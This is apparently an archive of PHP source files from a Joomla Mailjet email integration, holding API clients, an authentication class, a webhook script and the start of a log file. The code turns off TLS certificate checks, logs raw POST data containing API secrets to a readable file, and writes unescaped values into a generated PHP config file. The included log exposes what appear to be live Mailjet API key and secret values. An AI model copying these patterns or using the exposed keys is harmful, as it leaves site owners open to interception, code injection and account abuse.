        if ($this->_cache != 0 && $method == 'GET' && !$this->_akid) {
            $file = $method.'.'.$object.'.'.hash('md5', $this->_apiKey.http_build_query($params, '', '')).'.cache';
        }

        if(is_null($this->_curl_handle))
            $this->_curl_handle = curl_init();

        curl_setopt($this->_curl_handle, CURLOPT_URL, $url);
        curl_setopt($this->_curl_handle, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($this->_curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($this->_curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
        curl_setopt($this->_curl_handle, CURLOPT_USERPWD, $this->_apiKey.':'.$this->_secretKey);
        curl_setopt($this->_curl_handle, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($this->_curl_handle, CURLOPT_USERAGENT, 'joomla-3.0');
    	
        switch ($method) {
            case 'GET' :
                curl_setopt($this->_curl_handle, CURLOPT_HTTPGET, TRUE);
                curl_setopt($this->_curl_handle, CURLOPT_POSTFIELDS, NULL);
            break;

            case 'POST':
                if(isset($params['Action']) && $params['Action']=='Add'){
                    curl_setopt($this->_curl_handle, CURLOPT_POST, count($params));
                    curl_setopt($this->_curl_handle, CURLOPT_POSTFIELDS, json_encode($params));
                    curl_setopt($this->_curl_handle, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
                }
                else{
                    curl_setopt($this->_curl_handle, CURLOPT_POST, count($params));
                    curl_setopt($this->_curl_handle, CURLOPT_POSTFIELDS, $this->curl_build_query($params));
                }
            break;

            case 'PUT':
                curl_setopt($this->_curl_handle, CURLOPT_POSTFIELDS, $this->curl_build_query($params));
            break;
            
            case 'JSON':
            	if($is_json_put)
            		curl_setopt($this->_curl_handle, CURLOPT_CUSTOMREQUEST, "PUT");            		
            	else
            		curl_setopt($this->_curl_handle, CURLOPT_CUSTOMREQUEST, "POST");
            	
            	$params = json_encode($params);
				curl_setopt($this->_curl_handle, CURLOPT_POSTFIELDS, $params);
				curl_setopt($this->_curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
				curl_setopt($this->_curl_handle, CURLOPT_HTTPHEADER, array(
				    'Content-Type: application/json',
				    'Content-Length: ' . strlen($params))
				);
            break;
            	
        }

        $buffer = curl_exec($this->_curl_handle);

        $this->_info = curl_getinfo($this->_curl_handle);
        $this->_response_code = $this->_info['http_code'];
        
		curl_close($this->_curl_handle);
		$this->_curl_handle = null;
        
        if ($this->_debug) {
            $this->_buffer = $buffer;
            $this->_method = $method;
            $this->_debug = FALSE;
        }

        if ($this->_cache != 0 && $method == 'GET' && !$this->_akid) {
            $data = array('timestamp' => time(), 'result' => $buffer, 'http_code' => $this->_info['http_code']);
        }
        
        if( $this->getExtraError() ){
        	$this->getExtraErr( $buffer );
        	$this->setExtraError( false );
        }
        
        if ($this->logAllowed() && ($this->getLog() || $this->getLogOnce())) {

        	if ($this->_info) {
	        	$moreInfo = print_r(array(
	       			'content_type'	=> $this->_info['content_type'],
	        		'http_code'		=> $this->_info['http_code'],
	        		'total_time'	=> $this->_info['total_time'],
	        	), true);
	        	$moreInfo = substr($moreInfo, 6);
        	} else {
        		$moreInfo = 'none';
        	}
        	
        	$date = DateTime::createFromFormat('U.u', microtime(true));
        	
            if (is_array($params)) {
        		$jsonParams = json_encode($params);
        	} else {
        		$jsonParams = $params;
        	}
        	        	
        	$logLines = array();
        	
			$logLines[] = '';
        	$logLines[] = $date->format('Y-m-d H:i:s.u')." > {$object} :: {$method}";
			$logLines[] = '';
			$logLines[] = $this->_info['url'];
			$logLines[] = '';
			$logLines[] = "Request";
			$logLines[] = $jsonParams;
			$logLines[] = '';
			$logLines[] = "Response";
			$logLines[] = $buffer;
			$logLines[] = '';
			$logLines[] = 'Info';
			$logLines[] = $moreInfo;
			$logLines[] = '';
			$logLines[] = str_repeat("=", 100);
			$logLines[] = '';
				
			$logText = implode(PHP_EOL, $logLines);

			file_put_contents($this->getLogPath(), $logText, FILE_APPEND);
        	
			$this->setLogOnce(false);
			
        }
        
        return $buffer;
    }

    /**
     * Build the full Url for the request and update the parameters if needed
     *
     * @access	private
     * @uses	MailjetApi::$_apiUrl
     * @param string $object Object or collection of resources you want to access
     * @param array  $params Additional parameters for the request
     * @param string $method POST:	Create a resource
     * 							GET:	Read one or multiple resources
     * 							PUT:	Update one or multiple resources
     * 							DELETE:	Delete one or multiple resources
     *
     * @return array Full built Url for the request and new params
     */
    private function buildURL($object, $params, $method = 'GET')
    {
        $url = $this->_apiUrl.$object;

        if (isset($params['ID'])) {
            $url .= '/'.$params['ID'];
            unset($params['ID']);
        }

        $this->_akid = array_key_exists('akid', $params);

        if ($method == 'GET')
            $url .= '?'.http_build_query($params, '', '&');
        elseif ($method == 'PUT' || $method == 'POST' || $method == 'DELETE' || $method == 'JSON') {
            $tocheck = array('format', 'style', 'countrecords', 'recurse', 'akid', 'DuplicateFrom');
            $query = array();
            foreach ($params as $key => $value)
                if (in_array($key, $tocheck)) {
                    $query[$key] = $value;
                    unset($params[$key]);
                }
            if(count($query))
            	$url .= '?'.http_build_query($query, '', '&');
            	
        } 

        return (array($url, $params));
    }

    /**
     * Build query for cURL
     * Beware of the Boolean !
     *
     * @access	private
     * @param array $params Post parameters for the request
     *
     * @return string URL-encoded query string from the associative array provided
     */
    private function curl_build_query($params)
    {
    	foreach($params as $key => $value) {
	    	if($value === TRUE)
	    		$value = 'true';
	    	elseif($value === FALSE)
	    		$value = 'false';
    	}
        /*array_walk($params, function(&$value, &$key) {
            if ($value === TRUE) {
                $value = 'true';
            } elseif ($value === FALSE) {
                $value = 'false';
            }
        });*/

        return (http_build_query($params, '', '&'));
    }

    /**
     * Get the last HTTP code retrieved by cURL
     *
     * Warning : Information returned by this function is kept.
     * So, if you call it again, the previous info is returned.
     *
     * @access	public
     * @uses	MailjetApi::$_info
     *
     * @return integer last HTTP code retrieved by cURL or 0 if not set
     */
    public function getLastHTTPCode()
    {
        if (isset($this->_info['http_code']))
            return ($this->_info['http_code']);

        return (0);
    }

    /**
     * Set some info if the object came from the cache
     *
     * @access	private
     * @uses	MailjetApi::$_info
     * @uses	MailjetApi::$_buffer
     * @uses	MailjetApi::$_method
     * @uses	MailjetApi::$_debug_info
     */
    private function setCacheDebugInfo($method, $url, $data)
    {
        $this->_debug_info .= ' /* LAST CACHED AT '.date('Y/m/d H:i:s', $data['timestamp']).' - UPDATING EVERY '.$this->_cache.'s */';
        $this->_buffer = $data['result'];
        $this->_method = $method;
        $this->_info = array();
        $this->_info['url'] = $url;
        $this->_info['http_code'] = $data['http_code'];
        $this->_info['total_time'] = $this->_info['pretransfer_time'] = 0;
        $this->_debug = FALSE;
    }

    /**
     * Get some info for debugging purpose
     *
     * Warning : Information returned by this function is kept.
     * So, if you call it again, the previous info is returned.
     * To update this array, you need to add the key 'debug_info'
     * to the list of parameters. You can specified a value to
     * identify the returned array.
     *
     * @access	public
     * @uses	MailjetApi::$_info
     * @uses	MailjetApi::$_method
     * @uses	MailjetApi::$_debug_info
     *
     * @return array with some debug info
     */
    public function getDebugInfo()
    {
        $status_code = array (
            200 => 'OK - Everything went fine.',
            201 => 'OK - Created : The POST request was successfully executed.',
            204 => 'OK - No Content : The Delete request was successful.',
            304 => 'OK - Not Modified : The PUT request didn’t affect any record.',
            400 => 'KO - Bad Request : Please check the parameters.',
            401 => 'KO - Unauthorized : A problem occurred with the apiKey/secretKey. You may be not authorized to access the API or your apiKey may have expired.',
            403 => 'KO - Forbidden : You are not authorized to call that function.',
            404 => 'KO - Not Found : The resource with the specified ID does not exist.',
            405 => 'KO - Method not allowed : Attempt to put/post multiple resources in 1 request.',
            500 => 'KO - Internal Server Error.',
            503 => 'KO - Service unavailable.'
        );

        if (array_key_exists($this->_info['http_code'], $status_code))
            $http_code_text = $status_code[$this->_info['http_code']];
        else
            $http_code_text = 'KO - Service unavailable.';

        $status_message = '';
        if ($this->_info['http_code'] >= 400) {
            $buffer = json_decode($this->_buffer);
            if (!is_null($buffer) && isset($buffer->StatusCode) && isset($buffer->ErrorMessage)) {
                $status_message = $buffer->StatusCode.' - '.$buffer->ErrorMessage;
                if (isset($buffer->ErrorInfo) && !empty($buffer->ErrorInfo))
                    $status_message .= ' ('.$buffer->ErrorInfo.')';
            }
        }

        $res = array(
            'debug_info'	=> $this->_debug_info,
            'method'		=> $this->_method,
            'url'			=> $this->_info['url'],
            'duration'		=> $this->_info['total_time'] - $this->_info['pretransfer_time'],
            'http_code'		=> $this->_info['http_code'],
            'http_code_text'=> $http_code_text,
            'status_message'=> $status_message,
            'curl_info'		=> $this->_info,
            'buffer'		=> $this->_buffer
        );

        return $res;
    }
    
    protected function getExtraErr( &$buffer )
    {   
    	$bufferCheck = json_decode($buffer);
    	
    	if( is_null( $bufferCheck ) )
    		return;
    	
    	$buffer = $bufferCheck;   	
    	
    	if( $this->_info['http_code'] < 400 )
    	{
    		$response = array( (object)array( "ExtraErrCode" => $this->_info['http_code'], "ExtraErrKey" => "", "ExtraErrMsg" => "" ) );
    		$buffer->ExtraError = $response ;
    		$buffer = json_encode( $buffer );
    		return;
    	}
    	
    	$internalErrors = array(  
    			'MJ01' => 'Could not determine APIKey', 								// SERRCouldNotDetermineAPIKey
    			'MJ02' => 'No persister object found for class: "%s"', 					// SErrNoPersister
    			'MJ03' => 'A non-empty value is required', 								// SErrValueRequired
    			'MJ04' => 'Value must have at least length %d',							// SErrMinLength
    			'MJ05' => 'Value may have at most length %d',							// SErrMaxLength
    			'MJ06' => 'Value must be larger than or equal to %s',					// SErrMinValue
    			'MJ07' => 'Value must be less than or equal to %s',						// SErrMaxValue
    			'MJ08' => 'Property %s is invalid: %s', 								// SErrInProperty
    			'MJ09' => 'Value is not in list of allowed values: (%s)',				// SErrValueNotInList
    			'MJ10' => 'Value must be positive',										// SErrPositiveValueRequired
    			'MJ11' => 'Unknown object type "%s".',									// SErrUnknownObject
    			'MJ12' => 'Cannot save object of type %s',								// SerrCannotSaveObjectType
    			'MJ13' => 'Invalid characters in MD5 hash: "%s"',						// SErrInvalidHashCharacters
    			'MJ14' => 'Invalid length for MD5 hash: %d',							// SErrInvalidHashLength
    			'MJ15' => 'Unknown relation name : "%s"',								// SErrUnkownRelation
    			'MJ16' => 'Class "%s" does not support a unique key.',					// SErrNoAlternateKey
    			'MJ17' => '(%s) Cannot search unique key: unique key value is empty.',	// SErrNoAlternateKeyValue
    			'MJ18' => 'A %s resource with value "%s" for %s already exists.',		// SErrDuplicateKey
    			'MJ19' => 'Setting a value for property "%s" is not allowed',			// SErrCannotWriteProperty
    			'MJ20' => 'Setting a value for properties is not allowed',				// SErrCannotWriteProperties   			
    			// ContactMetadata
    			'CM01' => 'Property "%s" already exists',								// sERRCMPropertyAlreadyExists
    			'CM02' => 'Unknown namespace : %s',										// SERRCMUnknownNamespace
    			'CM03' => '"%s" is not a valid integer value for key %s',				// SERRCMNotAValidIntegerValueForKey
    			'CM04' => '"%s" is not a valid bool value for key %s',					// SERRCMNotAValidBoolValueForKey
    			'CM05' => '"%s" is not a valid float value for key %s',					// SERRCMNotAValidFloatValue
    			'CM06' => 'Length of value (%d bytes) exceeds maximum data length (%d bytes) ',	// SERRCMLengthOfValueExceedsMaxDataLength
    			'CM07' => 'Internal error: invalid data type %d',						// SERRCMInternalErrorInvalidDataType
    			'CM08' => '"%s" is not a valid datatype'								// SERRCMNotAValidDataType
    	); 	
    	
    	$response = array();
    	
    		// We expect here $this->_info['http_code']  to be >= 400   	
    	if ( isset($buffer->StatusCode) ) {
    		if( ( isset($buffer->ErrorInfo) && !empty($buffer->ErrorInfo) ) || ( isset($buffer->ErrorMessage) && !empty($buffer->ErrorMessage) ) )
    		{	
    			$comeFromString = false;
    			if( !empty( $buffer->ErrorInfo ) )
    			{  	
    				$info = json_decode( $buffer->ErrorInfo );
    				if( empty( $info) ) // message is type=string
    				{   	
    					$comeFromString = true ;
    					$errInfos = array( (object)$buffer->ErrorInfo );
    				}else{   					
    					$errInfos =  $info;
    				}
    			}else{  // ( !empty( $buffer->ErrorMessage ) )
    				$info = json_decode( $buffer->ErrorMessage );
    				if( empty( $info ) ) // message is type=string
    				{
    					$comeFromString = true ;
    					$errInfos = array( (object)$buffer->ErrorMessage );
    				}else{   					
    					$errInfos = $info;
    				}
    			}	
    			/**
    			*  Default response. Most of the ErrorInfo/ErrorMessage will come as they are - without specific err code in front!
    			*  We keep the ExtraErrors = ErrorInfo/ErrorMessage. 
    			*  
    			*  In the feature all the responses will consist these special codes.
    			*  When this happen (!!! ToDo !!!) -> we have to override coming StatusCode and ErrorInfo with parsed error results. And remove this ExtraError from the buffer
    			*  $internalErrors array and preg_match -> should be removed. We should catch the first 4 symbols from the string (this will be StatusCode), 
    			*  all the remaining string will be ErrorInfo 
    			*/  			   			 			 			    			
    			$errCodes = array_keys( $internalErrors );   			
    			$regexp = '/^(' . implode( '|',array_values( $errCodes ) ).')/i';   
    			foreach( $errInfos as $errInfoObj )
    			{    
    				foreach( $errInfoObj as $key => $errInfo )	
    				{			
	    				$tempResp = array();
	    				$tempResp["ExtraErrCode"] = $buffer->StatusCode;
	    				$tempResp["ExtraErrKey"] = "";
	    				$tempResp["ExtraErrMsg"] = $errInfo;
	    				
	    				preg_match($regexp, $errInfo, $matches);   	
	    				if( !empty( $matches ))
	    				{
	    					$tempResp["ExtraErrCode"] = $matches[1];
	    					if( $comeFromString )
	    						$tempResp["ExtraErrKey"] = '';
	    					else 
	    						$tempResp["ExtraErrKey"] = $key;
	    					$tempResp["ExtraErrMsg"] = $internalErrors[$matches[1]];
	    				}
	    				$response[] = $tempResp ;
    				}
    			}   			 			   			
    		}
    	}
    		// Check if is $response empty !    
    	if( empty( $response ) )
    	{
    		$response = array( (object)array( "ExtraErrCode" => $this->_info['http_code'], "ExtraErrKey" => "", "ExtraErrMsg" => "" ) );
    	}	
    	
    	$buffer->ExtraError = $response ;
    	$buffer = json_encode( $buffer );
    }

}com_mailjet/lib/lib/api/mailjet-api-v1.php000060400000014414152455305320014351 0ustar00<?php

/**
 * Mailjet Public API
 *
 * @package		API v0.1
 * @author		Mailjet
 * @link		http://api.mailjet.com/
 *
 */

class Mailjet_Api_V1
{
	var $version = '0.1';

	// Choose your weapon : php, json, xml, serialize, html, csv
	var $output = 'json';

	// Connect thru https protocol
	var $secure = false;

	// Mode debug ? 0 none / 1 errors only / 2 all
	var $debug = 0;
	
	// Edit with your Mailjet Infos
	var $apiKey = '';
	var $secretKey = '';

	// Constructor function
	public function __construct($apiKey = false, $secretKey = false)
	{
		if ($apiKey)
			$this->apiKey = $apiKey;
		if ($secretKey)
			$this->secretKey = $secretKey;

		$this->apiUrl = (($this->secure) ? 'https' : 'http') . '://api.mailjet.com/' . $this->version . '';
	}

	public function __call($method, $args)
	{
		// params
		$params = (sizeof($args) > 0) ? $args[0] : array();

		// request method
		$request = isset($params["method"]) ? strtoupper($params["method"]) : 'GET';

		// unset useless params
		if (isset($params["method"]))
			unset($params["method"]);

		// Make request
		$result = $this->sendRequest($method, $params, $request);

		// Return result
		$return = ($result === true) ? $this->_response : false;

		if ($this->debug == 2 || ( $this->debug == 1 && $return == false))
			$this->debug();

		return $return;
	}

	public function requestUrlBuilder($method,$params=array(),$request)
	{
		$query_string = array('output' => 'output=' . $this->output);

		foreach ($params as $key => $value)
		{
			if ($request == 'GET' || in_array($key, array('apikey', 'output')))
				$query_string[$key] = $key . '=' . urlencode($value);
			if ($key == 'output')
				$this->output = $value;
		}

		$this->call_url = $this->apiUrl . '/' . $method . '/?' . join('&', $query_string);

		return $this->call_url;
	}

	public function sendRequest($method = false, $params = array(), $request = 'GET')
	{
		// Method
		$this->_method = $method;
		$this->_request = $request;

		// Build request URL
		$url = $this->requestUrlBuilder($method, $params, $request);

		if (!in_array('curl', get_loaded_extensions()))
			die('Error: You must have cURL extension enabled !');

		// Set up and execute the curl process
		$curl_handle = curl_init();
		curl_setopt($curl_handle, CURLOPT_URL, $url);
		curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($curl_handle, CURLOPT_USERPWD, $this->apiKey . ':' . $this->secretKey);
		curl_setopt($curl_handle, CURLOPT_VERBOSE, true);
		curl_setopt($curl_handle, CURLINFO_HEADER_OUT, true);
        curl_setopt($curl_handle, CURLOPT_USERAGENT, 'joomla-1.0');
    	

		$this->_request_post = false;
		if ($request == 'POST')
		{
			curl_setopt($curl_handle, CURLOPT_POST, count($params));
			curl_setopt($curl_handle, CURLOPT_POSTFIELDS, http_build_query($params));
			$this->_request_post = $params;
		}

		$buffer = curl_exec($curl_handle);

		if ($this->debug > 2)
		{
			$this->debug();
			// var_dump($buffer);
			// var_dump(curl_getinfo($curl_handle));
		}

		// Response code
		$this->_response_code = curl_getinfo($curl_handle, CURLINFO_HTTP_CODE);

		// Close curl process
		curl_close($curl_handle);

		// RESPONSE
		$this->_response = ($this->output == 'json') ? json_decode($buffer) : $buffer;

		return ($this->_response_code == 200) ? true : false;
	}

	public function debug()
	{
		echo '<style type="text/css">';
		echo '
		#debugger {width: 100%; font-family: arial;}
		#debugger table {padding: 0; margin: 0 0 20px; width: 100%; font-size: 11px; text-align: left;border-collapse: collapse;}
		#debugger th, #debugger td {padding: 2px 4px;}
		#debugger tr.h {background: #999; color: #fff;}
		#debugger tr.Success {background:#90c306; color: #fff;}
		#debugger tr.Error {background:#c30029 ; color: #fff;}
		#debugger tr.Not-modified {background:orange ; color: #fff;}
		#debugger th {width: 20%; vertical-align:top; padding-bottom: 8px;}

		';
		echo '</style>';

		echo '<div id="debugger">';

		if (isset($this->_response_code))
		{
			if ($this->_response_code == 200)
			{
				echo '<table>';
				echo '<tr class="Success"><th>Success</th><td></td></tr>';
				echo '<tr><th>Status code</th><td>' . $this->_response_code . '</td></tr>';

				if (isset($this->_response))
					echo '<tr><th>Response</th><td><pre>' . utf8_decode(print_r($this->_response, 1)) . '</pre></td></tr>';

				echo '</table>';
			}
			elseif($this->_response_code == 304)
			{
				echo '<table>';
				echo '<tr class="Not-modified"><th>Error</th><td></td></tr>';
				echo '<tr><th>Error no</th><td>' . $this->_response_code . '</td></tr>';
				echo '<tr><th>Message</th><td>Not Modified</td></tr>';
				echo '</table>';
			}
			else
			{
				echo '<table>';
				echo '<tr class="Error"><th>Error</th><td></td></tr>';
				echo '<tr><th>Error no</th><td>' . $this->_response_code . '</td></tr>';

				if (isset($this->_response))
				{
					if (is_array($this->_response) || is_object($this->_response))
						echo '<tr><th>Status</th><td><pre>' . print_r($this->_response, true) . '</pre></td></tr>';
					else
						echo '<tr><th>Status</th><td><pre>' . $this->_response . '</pre></td></tr>';
				}
			}
			echo '</table>';
		}

		$call_url = parse_url($this->call_url);

		echo '<table>';
		echo '<tr class="h"><th>API config</th><td></td></tr>';
		echo '<tr><th>Protocole</th><td>' . $call_url['scheme'] . '</td></tr>';
		echo '<tr><th>Host</th><td>' . $call_url['host'] . '</td></tr>';
		echo '<tr><th>Version</th><td>' . $this->version . '</td></tr>';
		echo '</table>';

		echo '<table>';
		echo '<tr class="h"><th>Call infos</th><td></td></tr>';
		echo '<tr><th>Method</th><td>' . $this->_method . '</td></tr>';
		echo '<tr><th>Request type</th><td>' . $this->_request . '</td></tr>';
		echo '<tr><th>Get Arguments</th><td>';

		$args = explode("&", $call_url['query']);
		foreach ($args as $arg)
		{
			$arg = explode('=', $arg);
			echo ''.$arg[0].' = <span style="color:#ff6e56;">' . $arg[1] . '</span><br/>';
		}

		echo '</td></tr>';

		if ($this->_request_post)
		{
			echo '<tr><th>Post Arguments</th><td>';

			foreach ($this->_request_post as $k => $v)
				echo $k.' = <span style="color:#ff6e56;">' . $v . '</span><br/>';

			echo '</td></tr>';
		}

		echo '<tr><th>Call url</th><td>' . $this->call_url . '</td></tr>';
		echo '</table>';
		echo '</div>';
	}
}com_mailjet/lib/lib/Auth.php000060400000016030152455305320011755 0ustar00<?php

defined('_JEXEC') or die('Restricted access');
 
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

class Auth
{

	/**
	 * 
	 * @var String
	 */
	private $_dbData;

	/**
	 * 
	 * @var String
	 */
	private $_apiKey;
	
	/**
	 * 
	 * @var String
	 */
	private $_apiSecret;
	
	/**
	 * 
	 * @var String
	 */
	private $_token;
	
	/**
	 * 
	 * @var String
	 */
	private $_apiUrl;
	
	/**
	 * 
	 * @var String
	 */
	private $_apiVersion;

    /**
     *
     * @var Boolean
     */
    private $_enable = false;

    /**
     *
     * @var String
     */
    private $_testAddress = 'test@emailaddress';
	
	/**
	 * 
	 */
	public function __construct()
	{
		$this->_initData();
	}
	
	/**
	 * 
	 * @return Auth
	 */
	protected function _initData()
	{
		$this->_dbData = realpath(__DIR__.'/../db/data');
		touch($this->_dbData);
		
		$data = null;
		$content = trim(file_get_contents($this->_dbData));
		
		if ($content) {
			$data = json_decode($content);
		}

		if (!$data) {
			$this->saveData();
		}

		if (isset($data->apiKey) && $data->apiKey) {
			$this->setApiKey($data->apiKey);
		}

		if (isset($data->apiSecret) && $data->apiSecret) {
			$this->setApiSecret($data->apiSecret);
		}

		if (isset($data->token) && $data->token) {
			$this->setToken($data->token);
		}
		
		if (isset($data->apiUrl) && $data->apiUrl) {
			$this->setApiUrl($data->apiUrl);
		}
		
		if (isset($data->apiVersion) && $data->apiVersion) {
			$this->setApiVersion($data->apiVersion);
		}

        if(!empty($data->enable)) {
            $this->setEnable($data->enable);
        }

        if(!empty($data->test_address)) {
            $this->setTestAddress($data->test_address);
        }
		
		return $this;
	}

	/**
	 * 
	 * @return Auth
	 */
	public function saveData()
	{
		$data = array(
			'apiKey'		=> $this->getApiKey(),
			'apiSecret'		=> $this->getApiSecret(),
			'token'			=> $this->getToken(),
			'apiUrl'		=> $this->getApiUrl(),
			'apiVersion'	=> $this->getApiVersion(),
            'enable'        => $this->getEnable(),
            'test_address'  => $this->getTestAddress()
		);
			
		file_put_contents($this->_dbData, json_encode($data));

		$mailjetConfig = realpath(__DIR__.'/../../config.php');
        $dataConf = '<?php
class JMailjetConfig {
	public $bak_mailer = "smtp";
	public $bak_smtpauth = "1";
	public $bak_smtpuser = "your API key";
	public $bak_smtppass = "your API secret";
	public $bak_smtphost = "'.(($this->getApiUrl())?$this->getApiUrl():"in-v3.mailjet.com").'";
	public $bak_smtpsecure = "tls";
	public $bak_smtpport = "587";
	public $test = "";
	public $test_address = "'.$this->getTestAddress().'";
	public $enable = "'.$this->getEnable().'";
	public $username = "'.(($this->getApiKey())?$this->getApiKey():"your API key").'";
	public $password = "'.(($this->getApiSecret())?$this->getApiSecret():"your API secret").'";
	public $host = "'.(($this->getApiUrl())?$this->getApiUrl():"in-v3.mailjet.com").'";
	public $secure = "tls";
	public $port = "587";
}';
        file_put_contents($mailjetConfig, $dataConf);
		
		return $this;
	}
	
	/**
	 * 
	 * @return Auth
	 */
	public function deleteData()
	{
		$content = trim(file_get_contents($this->_dbData));
		$data = array(
			'apiKey'		=> null,
			'apiSecret'		=> null,
			'token'			=> null,
			'apiUrl'		=> null,
			'apiVersion'	=> null,
            'enable'        => null,
            'test_address'  => null,
		);

		file_put_contents($this->_dbData, json_encode($data));

		$this->_apiKey = null;
		$this->_apiSecret = null;
		$this->_token = null;
		$this->_apiUrl = null;
		$this->_apiVersion = null;
        $this->_enable = null;
        $this->_testAddress = null;
		
		return $this;
	}
	
	/**
	 * 
	 * @param String $apiKey
	 * @return Auth
	 */
	public function setApiKey($apiKey)
	{
		$this->_apiKey = $apiKey;
		return $this;
	}
	
	/**
	 * 
	 * @return String
	 */
	public function getApiKey()
	{
		return $this->_apiKey;
	}
	
	/**
	 * 
	 * @param String $apiSecret
	 * @return Auth
	 */
	public function setApiSecret($apiSecret)
	{
		$this->_apiSecret = $apiSecret;
		return $this;
	}
	
	/**
	 * 
	 * @return String
	 */
	public function getApiSecret()
	{
		return $this->_apiSecret;
	}
	
	/**
	 * 
	 * @param String $token
	 * @return Auth
	 */
	public function setToken($token)
	{
		$this->_token = $token;
		return $this;
	}
	
	/**
	 * 
	 * @return String
	 */
	public function getToken()
	{
		if (($this->_token == NULL || strlen($this->_token) == 0) && $this->getApiKey() && $this->getApiSecret())
			$this->generateToken();
		return $this->_token;
	}

    /**
     *
     * @return Boolean
     */
    public function getEnable()
    {
        return $this->_enable;
    }

    /**
     *
     * @param Boolean
     * @return Boolean
     */
    public function setEnable($val)
    {
        return $this->_enable = $val;
    }

    /**
     *
     * @return String
     */
    public function getTestAddress()
    {
        return $this->_testAddress;
    }

    /**
     *
     * @param String
     * @return String
     */
    public function setTestAddress($val)
    {
        return $this->_testAddress = $val;
    }
	
	/**
	 * 
	 * @param String $apiUrl
	 * @return Auth
	 */
	public function setApiUrl($apiUrl)
	{
		$this->_apiUrl = $apiUrl;
		return $this;
	}
	
	/**
	 * 
	 * @return String
	 */
	public function getApiUrl()
	{
		return $this->_apiUrl;
	}
	
	/**
	 * 
	 * @param String $apiVersion
	 * @return Auth
	 */
	public function setApiVersion($apiVersion)
	{
		$this->_apiVersion = $apiVersion;
		return $this;
	}
	
	/**
	 * 
	 * @return String
	 */
	public function getApiVersion()
	{
		return $this->_apiVersion;
	}

	/**
	 * 
	 * @return boolean
	 */
	public function haveToken()
	{		
		return (boolean) $this->getToken();
	}
	
	/**
	 * 
	 * @return boolean
	 */
	public function canGenerateToken()
	{
		return $this->getApiKey() && $this->getApiSecret();
	}

	/**
	 * 
	 * @return boolean
	 */
	public function generateToken()
	{	
		if (!$this->canGenerateToken()) {
			return false;
		}
			
		$mj = new Mailjet_Api($this->getApiKey(), $this->getApiSecret());
		$this->setApiUrl($mj->apiUrl);
		$this->setApiVersion($mj->version);

		$response = $mj->getAuthToken(array(
			'APIKey'		=> $this->getApiKey(),
			'SecretKey'	 	=> $this->getApiSecret()
		));
		
		// Log the response
		$this->_log($mj);
		
		// Check if the response is correct
		if (!isset($response->Status) || (isset($response->Status) && $response->Status != 'ERROR')) {
			$this->setToken($response);
			$this->saveData();
		}
		
		return true;
	}

	public function __destruct()
	{
		$this->saveData();
	}
	
	private function _log($response)
	{
		$log = realpath(__DIR__.'/../tmp/log');
		
		touch($log);
		
		$delimiter = str_repeat('=', 100);
		
		$content = file_get_contents($log);
		
		$prepend = '';
		
		$prepend .= $delimiter;
		$prepend .= PHP_EOL;
		$prepend .= date('Y-m-d H:i:s');
		$prepend .= PHP_EOL;
		$prepend .= 'RESPONSE';
		$prepend .= PHP_EOL;
		$prepend .= print_r($response, true);
		$prepend .= PHP_EOL;

		
		$content = $prepend.$content;
		file_put_contents($log, $content);
	}
	
}

?>com_mailjet/lib/hook.php000060400000003474152455305320011256 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

require_once realpath(__DIR__.'/lib/Auth.php');
require_once realpath(__DIR__.'/lib/mailjet-api-strategy.php');

$auth = new Auth();

$log = realpath(__DIR__.'/tmp/log');

touch($log);

$delimiter = str_repeat('=', 100);

$content = file_get_contents($log);

$prepend = '';

$prepend .= $delimiter;
$prepend .= PHP_EOL;
$prepend .= date('Y-m-d H:i:s');
$prepend .= PHP_EOL;
$prepend .= 'POST';
$prepend .= PHP_EOL;
$prepend .= print_r($_POST, true);
$prepend .= PHP_EOL;
$prepend .= 'GET';
$prepend .= PHP_EOL;
$prepend .= print_r($_GET, true);

if (isset($_POST['data'])) {
	$data = (object) $_POST['data'];
} else if (isset($_POST['mailjet'])) {
	$mailjet = json_decode($_POST['mailjet']);
	$data = $mailjet->data;
}

if (isset($data->next_step_url) && $data->next_step_url) {

	//we have api key and secret but no token so generate it
	if (
		isset($data->apikey) 
		&& $data->apikey 
		&& isset($data->secretkey) 
		&& $data->secretkey
		&& !$auth->haveToken()
	) {		
		$auth->setApiKey($data->apikey);
		$auth->setApiSecret($data->secretkey);
		$auth->generateToken();
		$auth->saveData();
	} 

	$response = array(
		"code"				=> 1,
		"continue"			=> true,
		"continue_address"	=> $data->next_step_url,
	);
	
} else {

	$response = array(		
		"code"		=> 0,		
		"continue"	=> false,		
		"exit_url"	=> 'http://prestashop.com/exit.php',
	);
	
}

$json = json_encode($response);

$prepend .= PHP_EOL;
$prepend .= 'RESPONSE';
$prepend .= PHP_EOL;
$prepend .= $json;
$prepend .= PHP_EOL;
$prepend .= $delimiter;
$prepend .= PHP_EOL;

$content = $prepend.$content;
file_put_contents($log, $content);

echo $json;com_mailjet/lib/config.php000060400000000630152455305320011552 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$myHookUrl      = JURI::base().'components/com_mailjet/lib/hook.php';
$myExitUrl      = JURI::base().'components/com_mailjet/lib/exit.php'; 
$resellerName   = 'test';com_mailjet/lib/tmp/log000060400000102250152455305320011101 0ustar00====================================================================================================
2014-09-24 18:22:51
RESPONSE
Mailjet_Api Object
(
    [context:Mailjet_Api:private] => Mailjet_Api_Strategy_V1 Object
        (
            [version] => 0.1
            [output] => json
            [secure] => 
            [debug] => 0
            [apiKey] => 6363e9d3b0fbcc689c98e18a1a0ba9b5
            [secretKey] => ea3818da6ef29051a081297d4e4ea6cb
            [apiUrl] => http://api.mailjet.com/0.1
            [_method] => listsAll
            [_request] => GET
            [call_url] => http://api.mailjet.com/0.1/listsAll/?output=json&limit=1
